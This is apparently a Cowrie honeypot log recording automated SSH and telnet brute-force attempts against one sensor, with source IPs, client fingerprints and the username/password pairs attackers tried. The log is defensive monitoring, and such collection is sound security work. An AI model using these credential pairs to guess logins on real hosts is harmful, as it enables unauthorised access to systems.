0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:01.832436Z","src_ip":"45.153.34.114","session":"c8a09797fd0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:02.117687Z","src_ip":"45.153.34.114","session":"c8a09797fd0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:02.850447Z","src_ip":"80.94.92.182","session":"d63c7415d803","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:03.213205Z","src_ip":"45.153.34.114","session":"c8a09797fd0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":46698,"dst_ip":"159.203.135.109","dst_port":22,"session":"487f1e034679","protocol":"ssh","message":"New connection: 103.75.199.4:46698 (159.203.135.109:22) [session: 487f1e034679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:07.364632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:07.370987Z","src_ip":"103.75.199.4","session":"487f1e034679","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:07.463352Z","src_ip":"103.75.199.4","session":"487f1e034679","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:07.742251Z","src_ip":"103.75.199.4","session":"487f1e034679","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:08.838691Z","src_ip":"103.75.199.4","session":"487f1e034679","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48668,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd9b08c5a795","protocol":"ssh","message":"New connection: 45.153.34.114:48668 (159.203.135.109:22) [session: bd9b08c5a795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:09.768402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:09.779355Z","src_ip":"45.153.34.114","session":"bd9b08c5a795","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:09.856553Z","src_ip":"45.153.34.114","session":"bd9b08c5a795","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123456","message":"login attempt [ubuntu/ubuntu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:10.199368Z","src_ip":"45.153.34.114","session":"bd9b08c5a795","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:11.287967Z","src_ip":"45.153.34.114","session":"bd9b08c5a795","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48676,"dst_ip":"159.203.135.109","dst_port":22,"session":"9de139bcd5de","protocol":"ssh","message":"New connection: 45.153.34.114:48676 (159.203.135.109:22) [session: 9de139bcd5de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:17.708597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:17.714165Z","src_ip":"45.153.34.114","session":"9de139bcd5de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:17.807378Z","src_ip":"45.153.34.114","session":"9de139bcd5de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:18.096602Z","src_ip":"45.153.34.114","session":"9de139bcd5de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:19.238327Z","src_ip":"45.153.34.114","session":"9de139bcd5de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":36966,"dst_ip":"159.203.135.109","dst_port":22,"session":"a50fc1ce8aa6","protocol":"ssh","message":"New connection: 45.153.34.114:36966 (159.203.135.109:22) [session: a50fc1ce8aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:26.033562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:26.043277Z","src_ip":"45.153.34.114","session":"a50fc1ce8aa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:26.135484Z","src_ip":"45.153.34.114","session":"a50fc1ce8aa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:26.547461Z","src_ip":"45.153.34.114","session":"a50fc1ce8aa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:27.644653Z","src_ip":"45.153.34.114","session":"a50fc1ce8aa6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":54834,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd49c59b5333","protocol":"ssh","message":"New connection: 103.75.199.4:54834 (159.203.135.109:22) [session: dd49c59b5333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:29.108580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:29.113517Z","src_ip":"103.75.199.4","session":"dd49c59b5333","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:29.205541Z","src_ip":"103.75.199.4","session":"dd49c59b5333","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:29.480770Z","src_ip":"103.75.199.4","session":"dd49c59b5333","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:30.575564Z","src_ip":"103.75.199.4","session":"dd49c59b5333","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":29180,"dst_ip":"159.203.135.109","dst_port":23,"session":"355a03a5fe06","protocol":"telnet","message":"New connection: 104.155.98.147:29180 (159.203.135.109:23) [session: 355a03a5fe06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:30.712382Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":29182,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1359f35acd6","protocol":"telnet","message":"New connection: 104.155.98.147:29182 (159.203.135.109:23) [session: d1359f35acd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:30.868416Z"}
{"eventid":"cowrie.session.closed","duration":0.006726980209350586,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:30.875006Z","src_ip":"104.155.98.147","session":"d1359f35acd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":29196,"dst_ip":"159.203.135.109","dst_port":23,"session":"748ce41165b4","protocol":"telnet","message":"New connection: 104.155.98.147:29196 (159.203.135.109:23) [session: 748ce41165b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:31.027347Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":53178,"dst_ip":"159.203.135.109","dst_port":22,"session":"e000aa616049","protocol":"ssh","message":"New connection: 45.153.34.114:53178 (159.203.135.109:22) [session: e000aa616049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:33.766067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:33.770773Z","src_ip":"45.153.34.114","session":"e000aa616049","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:33.854983Z","src_ip":"45.153.34.114","session":"e000aa616049","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpt","password":"gpt","message":"login attempt [gpt/gpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:34.118887Z","src_ip":"45.153.34.114","session":"e000aa616049","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:35.207714Z","src_ip":"45.153.34.114","session":"e000aa616049","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":50484,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc97fa91fa84","protocol":"ssh","message":"New connection: 20.203.42.204:50484 (159.203.135.109:22) [session: dc97fa91fa84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:37.857861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:37.862825Z","src_ip":"20.203.42.204","session":"dc97fa91fa84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:38.042490Z","src_ip":"20.203.42.204","session":"dc97fa91fa84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"brandy","message":"login attempt [root/brandy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:38.879680Z","src_ip":"20.203.42.204","session":"dc97fa91fa84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:40.057151Z","src_ip":"20.203.42.204","session":"dc97fa91fa84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":30966,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f021fdd462f","protocol":"telnet","message":"New connection: 104.155.98.147:30966 (159.203.135.109:23) [session: 1f021fdd462f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:40.182647Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:40.188351Z","src_ip":"104.155.98.147","session":"1f021fdd462f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:40.192363Z","src_ip":"104.155.98.147","session":"1f021fdd462f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08866119384765625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:40.271180Z","src_ip":"104.155.98.147","session":"1f021fdd462f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":30980,"dst_ip":"159.203.135.109","dst_port":23,"session":"75299cc23c55","protocol":"telnet","message":"New connection: 104.155.98.147:30980 (159.203.135.109:23) [session: 75299cc23c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:40.346928Z"}
{"eventid":"cowrie.session.closed","duration":0.005663156509399414,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:40.352319Z","src_ip":"104.155.98.147","session":"75299cc23c55","protocol":"telnet"}
